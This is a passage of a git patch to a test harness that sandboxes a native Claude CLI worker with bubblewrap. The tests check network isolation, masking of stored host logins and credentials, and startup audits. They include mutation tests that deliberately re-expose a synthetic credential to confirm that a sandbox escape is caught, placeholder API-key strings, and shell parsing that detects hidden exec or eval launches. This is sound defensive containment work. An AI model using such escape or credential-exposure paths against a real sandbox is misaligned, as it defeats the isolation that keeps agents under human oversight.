-connection.sock.connect(os.environ['ANTHROPIC_UNIX_SOCKET']) +import urllib.parse +route=urllib.parse.urlsplit(os.environ['ANTHROPIC_BASE_URL']) +connection=http.client.HTTPConnection(route.hostname,route.port) connection.request('GET','/v1/messages') assert connection.getresponse().read() == b'Ithaca' print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) @@ -809,7 +815,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) let lateServer: import("node:net").Server | undefined; let lateConnections=0; try { - boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); const child = spawnGuardFixture(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const output=Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); const deadline=Date.now()+watchdogMs(10000); @@ -832,7 +838,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(existsSync(toolSeen)).toBe(true); // Restored mutation: re-expose only the synthetic outside credential. // The same runtime assertion must now reject the managed helper escape. - const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); const mutant = [...mutationBoundary.argv]; mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); const broken = spawnGuardFixture(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); @@ -954,7 +960,7 @@ test("worker outside-HOME regular files require explicit fixture snapshots",asyn Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)},...${admitted?JSON.stringify([outside]):"[]"}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(sentinel)},"/tmp/sentinel","--",${JSON.stringify(runtime)}]})}); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; try { const at=argv.indexOf("/tmp/sentinel"),source=argv[at-1]; diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts index 0af7a7e23c..2ee41565a5 100644 --- a/tests/native-rtk-adapter.test.ts +++ b/tests/native-rtk-adapter.test.ts @@ -31,7 +31,10 @@ try{ const outcomes=[]; function refuses(label,fn){let refused=false;try{fn();}catch{refused=true;}if(!refused)throw Error(label);outcomes.push(label);} refuses("UNREGISTERED_ROOT",()=>observeNativeFixtureRtkSpawn(process.pid,launch,[python],()=>new Map())); - refuses("AMBIGUOUS_SELECTED_RUNTIME",()=>observeNativeFixtureRtkSpawn(child.pid,launch,[python,"/usr/bin/true"],()=>new Map())); + try{observeNativeFixtureRtkSpawn(child.pid,launch,[python,"/usr/bin/true"],()=>new Map());}catch{throw Error("ADAPTER_SELECTION_DEFERRED_UNTIL_REQUESTED");} + refuses("AMBIGUOUS_SELECTED_RUNTIME",()=>registerNativeFixtureRtk(worker)); + try{observeNativeFixtureRtkSpawn(child.pid,launch,["missing-bare-runtime"],()=>new Map());}catch{throw Error("ADAPTER_SELECTION_DEFERRED_UNTIL_REQUESTED");} + refuses("UNAVAILABLE_SELECTED_RUNTIME",()=>registerNativeFixtureRtk(worker)); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map()); refuses("MISSING_PAYLOAD",()=>registerNativeFixtureRtk(worker)); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map(pids.map(pid=>[pid,start(pid)]))); @@ -57,6 +60,6 @@ try{ const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,"OWNED_RTK_ADAPTER "+err).toBe(0); - expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); + expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","UNAVAILABLE_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); }finally{rmSync(directory,{recursive:true,force:true});} },watchdogMs(30000)); diff --git a/tests/native-runtime-credential-judge.test.ts b/tests/native-runtime-credential-judge.test.ts new file mode 100644 index 0000000000..1dc044f1f4 --- /dev/null +++ b/tests/native-runtime-credential-judge.test.ts @@ -0,0 +1,16 @@ +import {expect,test} from "bun:test"; +import {readFileSync} from "node:fs"; +import {join} from "node:path"; +import ts from "typescript"; +test("actual raw CLI credential judge requires API key when both credentials are present",()=>{ + const file=join(import.meta.dir,"../scripts/measure-claude-runtime.ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); + let row:ts.ArrayLiteralExpression|undefined; + function visit(node:ts.Node){if(ts.isArrayLiteralExpression(node)&&node.elements[0]&&ts.isStringLiteral(node.elements[0] as ts.Node)&&node.elements[0]!.getText(source)==='"both (raw CLI)"')row=node;ts.forEachChild(node,visit);}visit(source); + expect(row,"RAW_CLI_ROW_LABEL_RESTORED").toBeDefined(); + const js=ts.transpileModule('const judge='+row!.elements[2]!.getText(source)+';return judge;',{compilerOptions:{target:ts.ScriptTarget.ES2022}}).outputText; + const key="odysseus-synthetic-key",oauth="odysseus-synthetic-oauth",judge=new Function("API_KEY","OAUTH","sent",js)(key,oauth,(r:{auth:unknown[]})=>r.auth.length>0); + const account={apiKeySource:"ANTHROPIC_API_KEY",tokenSource:"CLAUDE_CODE_OAUTH_TOKEN",ending:"success"}; + expect(judge({...account,auth:[{xApiKey:key,authorization:null}]}),"RAW_CLI_BOTH_PRESENT_PREFERS_API_KEY").toBeNull(); + expect(judge({...account,auth:[{xApiKey:null,authorization:`Bearer ${oauth}`}]}),"RAW_CLI_MUST_NOT_ENCODE_GUARD_SOCKET_AUTH").not.toBeNull(); + expect(judge({...account,auth:[]}),"RAW_CLI_AUTH_MUST_BE_OBSERVED").not.toBeNull(); +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index a074933778..1ac0e794bb 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -32,6 +32,7 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized if(!selection.includes("%file,%process")||/read|write/.test(selection))throw Error("UNSAFE_OR_MISSING_STARTUP_TRACE"); const raw=audit.argv[audit.argv.indexOf("-o")+1]; fs.writeFileSync(raw,'42 execve("/synthetic/runtime", ["SIRENS_PRIVATE_PROMPT"], ["TOKEN=sk-ant-'+"v".repeat(48)+'"]) = 0\\n42 clone3({}, 88) = -1 EAGAIN\\n42 openat(AT_FDCWD, \"connect(3) = -1 EPERM\", O_RDONLY) = -1 ENOENT\\n'); + fs.appendFileSync(raw,${JSON.stringify("42 newfstatat(AT_FDCWD, \"/dev/urandom\", {st_mode=S_IFCHR|0666, st_uid=65534, st_gid=65534}, 0) = 0\n42 statfs(\"/dev/urandom\", {f_flags=ST_VALID|ST_NODEV|ST_NOSUID}) = 0\n42 openat(AT_FDCWD, \"/dev/urandom\", O_RDONLY) = -1 EACCES (Permission denied)\n")}); audit.dispose(); if(!cleaned||fs.existsSync(raw))throw Error("RAW_AUDIT_NOT_CLEANED"); console.log(JSON.stringify(fs.readdirSync(${JSON.stringify(root)}).filter(name=>name.startsWith("native-startup-audit-")).map(name=>JSON.parse(fs.readFileSync(${JSON.stringify(root)}+"/"+name,"utf8")))));`); @@ -41,7 +42,7 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } - else {expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} + else {expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} }finally{fs.rmSync(root,{recursive:true,force:true});} }); From 6cc9cb8d4def354ca21122aa15df8539539497ed Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 18:39:45 +0000 Subject: [PATCH 083/187] test: classify worker launches before preserving native auth intent --- .../tests/fixtures/server-host-relay-probe.ts | 15 ++- .../tests/helpers/native-host-login-mask.ts | 8 ++ .../tests/native-route-qualification.test.ts | 1 + scripts/test-native-guard.ts | 99 +++++++++++++++---- tests/native-direct-transport.test.ts | 29 ++++++ tests/native-host-login-mask.test.ts | 21 ++++ tests/native-offline-boundary.test.ts | 44 +++++++++ tests/native-worker-classification.test.ts | 33 +++++++ 8 files changed, 227 insertions(+), 23 deletions(-) create mode 100644 packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts create mode 100644 tests/native-host-login-mask.test.ts create mode 100644 tests/native-worker-classification.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index a493f0f39c..9d0645651b 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -2,7 +2,8 @@ import { recordNativeRelayTurn } from "../helpers/native-relay-turn-diagnostic.j import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; +import { workerPlanMasksHostLogin } from "../helpers/native-host-login-mask.js"; +import { isNativeClaude, nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real turn runner and an explicitly prepared transport; no live provider calls. */ import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -87,7 +88,13 @@ const nativeEnvironments: string[] = []; let liveWorker: { pid: number; state?: { root: string } } | undefined; let stateFiles = ""; /** Whether a process in the worker's own mount namespace could open the host login file. */ -let hostLoginVisible: boolean | null = null, controlVisible = false; +let hostLoginVisible: boolean | null = null, controlVisible = false, productionLoginMaskPresent=false; +const originalSpawn=Bun.spawn; +if(mode==="outside-masks")Bun.spawn=((...args:any[])=>{ + const encoded=args[1]?.env?.BRAIN_WORKER_LAUNCH; + if(encoded){const launch=JSON.parse(encoded);if(Array.isArray(launch.command)&&isNativeClaude(launch.command[0],launch.command.slice(1),{cwd:launch.brainPath,env:launch.env}))productionLoginMaskPresent=workerPlanMasksHostLogin(launch.argv,join(config,".credentials.json"));} + return Reflect.apply(originalSpawn,Bun,args); +}) as typeof Bun.spawn; function workerViewOfHostLogin(): void { const pending = [liveWorker?.pid ?? 0]; hostLoginVisible ??= false; @@ -241,7 +248,7 @@ try { } } const observed = JSON.stringify({ nativeEnvironments, stateFiles }); - console.log(JSON.stringify({ requests, refreshes, apiRequests, nativeEnvironmentCount: nativeEnvironments.length, hostLoginVisible, controlVisible, + console.log(JSON.stringify({ requests, refreshes, apiRequests, nativeEnvironmentCount: nativeEnvironments.length, hostLoginVisible, controlVisible, productionLoginMaskPresent, secretInWorker: [apiSecret, hostLogin, ambientBearer, ambientRouter, cliGemini, cliTypesafe].some(secret => observed.includes(secret)), withheldKeys: nativeEnvironments.map(value => /(?:^|\0)BRAIN_WITHHELD_KEYS=([^\0]*)/.exec(value)?.[1] ?? null), workerPlaceholders: nativeEnvironments.map(value => ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ODYSSEUS_ANTHROPIC_KEY"] @@ -249,4 +256,4 @@ try { results: frames.filter(frame => frame.type === "result" || frame.type === "error"), observations: (db.query("SELECT session_id, model, record FROM observations").all() as Array<{ session_id: string; model: string; record: string }>).map(row => ({ sessionId: row.session_id, model: row.model, payload: JSON.parse(row.record) })), })); -} finally { globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } +} finally { Bun.spawn=originalSpawn;globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } diff --git a/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts b/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts new file mode 100644 index 0000000000..64bd879fee --- /dev/null +++ b/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts @@ -0,0 +1,8 @@ +/** Inspect the product's original argv, before the test guard changes its view. */ +export function workerPlanMasksHostLogin(argv:readonly string[],path:string):boolean { + let payload=argv; + if(argv.length===6&&argv[1]==="-I"&&argv[2]==="-S"&&argv[3]==="-c"){ + try{const config=JSON.parse(argv[5]!);if(!Array.isArray(config.argv))return false;payload=config.argv;}catch{return false;} + } + return payload.some((arg,index)=>arg==="--ro-bind"&&payload[index+1]==="/dev/null"&&payload[index+2]===path); +} diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index 7d9d5b95fc..180fce5463 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -107,6 +107,7 @@ test("the host's stored login outside every host mask is masked in the worker", const proof = probe("server-host-relay-probe.ts", "outside-masks"); expect(proof.requests, "OUTSIDE_MASKS_HOST_LOGIN_STILL_RELAYED").toEqual([{ credential: 0, model: "claude-haiku-4-5", history: 1 }]); expect(proof.controlVisible, "OUTSIDE_MASKS_WORKER_VIEW_OBSERVED").toBe(true); + expect(proof.productionLoginMaskPresent,"OUTSIDE_MASKS_PRODUCTION_LOGIN_MASK_PRESENT").toBe(true); expect(proof.hostLoginVisible, "OUTSIDE_MASKS_HOST_LOGIN_MASKED").toBe(false); }); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index c87c8f1fee..915dabcb7e 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1199,19 +1199,23 @@ export function nativeDiagnosticWorkerPayload(payload:string[],diagnostic:boolea } /** Keep only the pinned transport and fixed launcher gates outside the payload filter. */ -export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[],trustedWrapper?:boolean)=>string[]):string[] { +export function nativeWorkerGatePrefixLength(payload:readonly string[]):number|undefined { const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; let at=0; - if(same(payload[at],"/usr/bin/prlimit")) { - at++;const start=at; - while(/^--(?:data|fsize|nofile|nproc)=\d+:\d+$/.test(payload[at]??""))at++; - if(at===start||payload[at++]!=="--")return protect(payload); + if(same(payload[at],"/usr/bin/prlimit")){ + at++;const start=at;while(/^--(?:data|fsize|nofile|nproc)=\d+:\d+$/.test(payload[at]??""))at++; + if(at===start||payload[at++]!=="--")return; } - if(same(payload[at],"/bin/sh")) { + while(same(payload[at],"/bin/sh")){ const gate=payload.slice(at,at+4); - if(gate[1]!=="-c"||!(gate[2]==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&gate[3]==="brain-worker-state-gate"||gate[2]==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&gate[3]==="brain-worker-start-gate"))return protect(payload); + if(gate[1]!=="-c"||!(gate[2]==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&gate[3]==="brain-worker-state-gate"||gate[2]==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&gate[3]==="brain-worker-start-gate"))return; at+=4; } + return at; +} +export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[],trustedWrapper?:boolean)=>string[]):string[] { + const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; + let at=nativeWorkerGatePrefixLength(payload);if(at===undefined)return protect(payload); const entry=join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"); if(!same(payload[at],process.execPath)||payload[at+1]!==entry||!same(payload[at+1],entry))return protect(payload); at+=2;if(payload[at]==="--direct-loopback")at++; @@ -1219,6 +1223,61 @@ export function nativeWorkerPayloadCommand(payload:string[],command:string[],pro return [...payload.slice(0,at),...protect(payload.slice(at),true)]; } +export function nativeUnrelayedWorkerPayloadCommand(payload:string[],protect:(argv:string[])=>string[]):string[] { + const gates=nativeWorkerGatePrefixLength(payload);if(gates===undefined)return refuse("unrecognized native worker start gate"); + return [...payload.slice(0,gates),process.execPath,join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),"--direct-loopback",...protect(nativeDirectTransportCommand(payload.slice(gates)))]; +} + +/** Only positively non-native worker plans bypass native admission checks. */ +export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:SpawnContext={},depth=0):boolean { + if(depth>8)return true; + if(!argv.length)return true; + try{resolveExecutable(argv[0]!,context);}catch{return true;} + if(isNativeClaude(argv[0]!,argv.slice(1),context))return true; + const shells=new Set();for(const path of ["/bin/sh","/bin/bash","/bin/dash","/usr/bin/zsh"]){try{shells.add(realpathSync(path));}catch{}} + const literal=(text:string):string|undefined=>{ + const match=/^(?:'([^']*)'|"([^"$`\\]*)"|([^\s'"$`\\;&|<>(){}\[\]*?~]+))(?=\s|[;&|)]|$)/.exec(text.trimStart()); + return match?.[1]??match?.[2]??match?.[3]; + }; + for(let i=0;iflag+3)continue; + if(/(?:^|[;&|()\n])\s*(?:eval|source|\.)\s/.test(script))return true; + for(const token of script.matchAll(/[^\s'";&|<>(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return true; + const execs=[...script.matchAll(/(?:^|[;&|()\n])\s*exec(?:\s+|$)/g)]; + for(const match of execs){ + const rest=script.slice(match.index!+match[0].length),target=literal(rest); + if(!target||target.startsWith("-"))return true; + try{resolveExecutable(target,context);}catch{return true;} + if(isNativeClaude(target,[],context))return true; + // An env/interpreter chain with dynamic words cannot establish a safe target. + const words=rest.split(/[;&|\n]/,1)[0]!; + if(/[$`]/.test(words))return true; + const tokens:string[]=[];let remaining=words.trim(); + while(remaining){ + const token=/^(?:'([^']*)'|"([^"$`\\]*)"|([^\s'"$`\\;&|<>(){}\[\]*?~]+))(?=\s|$)/.exec(remaining); + if(!token)return true;tokens.push(token[1]??token[2]??token[3]!);remaining=remaining.slice(token[0].length).trimStart(); + } + if(nativeWorkerArgvNeedsIsolation(tokens,context,depth+1))return true; + } + if(!execs.length){ + const target=literal(script);if(!target)return true; + if(["eval","source","."].includes(target))return true; + if(!["printf","echo","exit","return","true","false","read","test","[","cd","pwd","set","export","unset","umask","trap","wait","kill","shift",":"].includes(target)){ + try{resolveExecutable(target,context);}catch{return true;} + if(isNativeClaude(target,[],context))return true; + } + } + } + return false; +} + /** Inspect the concrete existing worker bootstrap, including its exec payload. */ export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void; nativeExecuted?():boolean } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; @@ -1243,20 +1302,16 @@ export function nativeWorkerBoundary(env: Record): { if (!supervisor || !Array.isArray(supervisor.argv) || !supervisor.argv.every(value => typeof value === "string")) refuse("invalid native identity launcher"); workerArgv = supervisor.argv; } + const command = launch.command!; + const actualNative = nativeWorkerArgvNeedsIsolation(command,context)||nativeWorkerArgvNeedsIsolation(argv,context)||(workerArgv!==argv&&nativeWorkerArgvNeedsIsolation(workerArgv,context)); + if(!actualNative)return unchanged; try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } catch { refuse("worker executable could not be resolved"); } - const command = launch.command!; const tail = workerArgv.slice(-command.length); let agrees = false; try { agrees = tail.length === command.length && resolveExecutable(tail[0]!, context) === resolveExecutable(command[0]!, context) && tail.slice(1).every((value, index) => value === command[index + 1]); } catch { /* Unknown executable refuses. */ } if (!agrees) refuse("worker command and executable argv disagree"); - const actualNative = isNativeClaude(command[0]!, command.slice(1), context) || isNativeClaude(argv[0]!, [], context) || isNativeClaude(workerArgv[0]!, [], context); - if (!actualNative) { - if (supervisor) argv[5] = JSON.stringify(supervisor); - launch.argv = argv; - return { ...unchanged, env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) } }; - } const bwrap = nativeBwrapIndex(workerArgv); if (bwrap < 0) refuse("native worker lacks the OS launcher"); // Even ordinary test workers use a private network and a single bridge. @@ -1271,6 +1326,8 @@ export function nativeWorkerBoundary(env: Record): { qualify(); workerArgv[bwrap] = bwrapExecutable; const bridge = startNativeTestRelay(route.origin); + const directTunnel=!ownedOrigin?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; + const disposeBridge=()=>{directTunnel?.dispose();bridge.dispose();}; try { const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); assertNativeMountSockets(tools.mounts, route.origin); @@ -1280,7 +1337,7 @@ export function nativeWorkerBoundary(env: Record): { else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); - const pinned = { ANTHROPIC_BASE_URL: nativeAdmittedRelayBaseUrl(launch.env?.ANTHROPIC_BASE_URL,Boolean(ownedOrigin)), ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", + const pinned = { ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", @@ -1293,6 +1350,7 @@ export function nativeWorkerBoundary(env: Record): { "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureFileMounts(bridge.directory), + ...(directTunnel?["--dir","/run/brain-egress","--ro-bind",directTunnel.socket,WORKER_TURN_PROXY]:[]), ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); const keeper=workerKeeper(workerArgv,bwrap); try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper); } @@ -1300,7 +1358,10 @@ export function nativeWorkerBoundary(env: Record): { const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); - const protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined)); + let protectedPayload:string[]; + if(directTunnel){ + protectedPayload=nativeUnrelayedWorkerPayloadCommand(nativePayload,argv=>nativeSocketCommand(argv,join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",{source:directTunnel.socket,allowed:WORKER_TURN_PROXY})); + }else protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted!.path, socket!,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined)); workerArgv.push(...nativeDiagnosticWorkerPayload(protectedPayload,Boolean(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { @@ -1318,7 +1379,7 @@ export function nativeWorkerBoundary(env: Record): { const { verifiedWorkerIdentity } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"); const identity = launch.brainPath && verifiedWorkerIdentity(launch.brainPath); if (!identity || identity.workerUid === process.getuid?.()) refuse("native worker audit lacks a verified separate UID"); - audited = auditNativeLaunch(nativeSeparateUidAuditCommand(bwrapExecutable,payload,"AUDIT_STORAGE"), expected, bridge.dispose, identity.workerUid); + audited = auditNativeLaunch(nativeSeparateUidAuditCommand(bwrapExecutable,payload,"AUDIT_STORAGE"), expected, disposeBridge, identity.workerUid); const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; // Only the outer tracer sees this mount; the native process sees tmpfs. @@ -1330,7 +1391,7 @@ export function nativeWorkerBoundary(env: Record): { launch.argv = argv; } else { workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); - audited = auditNativeLaunch(workerArgv, expected, bridge.dispose); + audited = auditNativeLaunch(workerArgv, expected, disposeBridge); launch.argv = audited.argv; } const encoded=JSON.stringify(launch); @@ -1338,5 +1399,5 @@ export function nativeWorkerBoundary(env: Record): { bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch,nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; - } catch (error) { bridge.dispose(); throw error; } + } catch (error) { disposeBridge(); throw error; } } diff --git a/tests/native-direct-transport.test.ts b/tests/native-direct-transport.test.ts index c50f1258e3..a62d8adcaa 100644 --- a/tests/native-direct-transport.test.ts +++ b/tests/native-direct-transport.test.ts @@ -46,3 +46,32 @@ test("direct transport shim refuses noncanonical or foreign forwarder environmen const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,"DIRECT_SHIM_REJECTS_FOREIGN_FORWARDER "+proxy+err).not.toBe(0); } }); + +test("unrelayed worker gates preserve the product credential state and direct auth mode",async()=>{ + const {mkdirSync,writeFileSync,readFileSync}=await import("node:fs"); + const {createClaudeWorkerState}=await import("../packages/ui-backend-claude/src/worker-state"); + const {createStateLedger}=await import("../packages/ui-backend-claude/src/worker-state-budget"); + const {nativeUnrelayedWorkerPayloadCommand}=await import("../scripts/test-native-guard"); + const {defineProfiles}=await import("../packages/ui-backend-claude/src/profiles"); + const keyName="ODYSSEUS_DECLARED_API_KEY",previous=process.env[keyName],declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA";process.env[keyName]=declaredKey; + const profileEnv=defineProfiles([{id:"declared",label:"Odysseus declared",apiKeyEnv:keyName,source:"declared"}])[0]!.buildEnv(); + 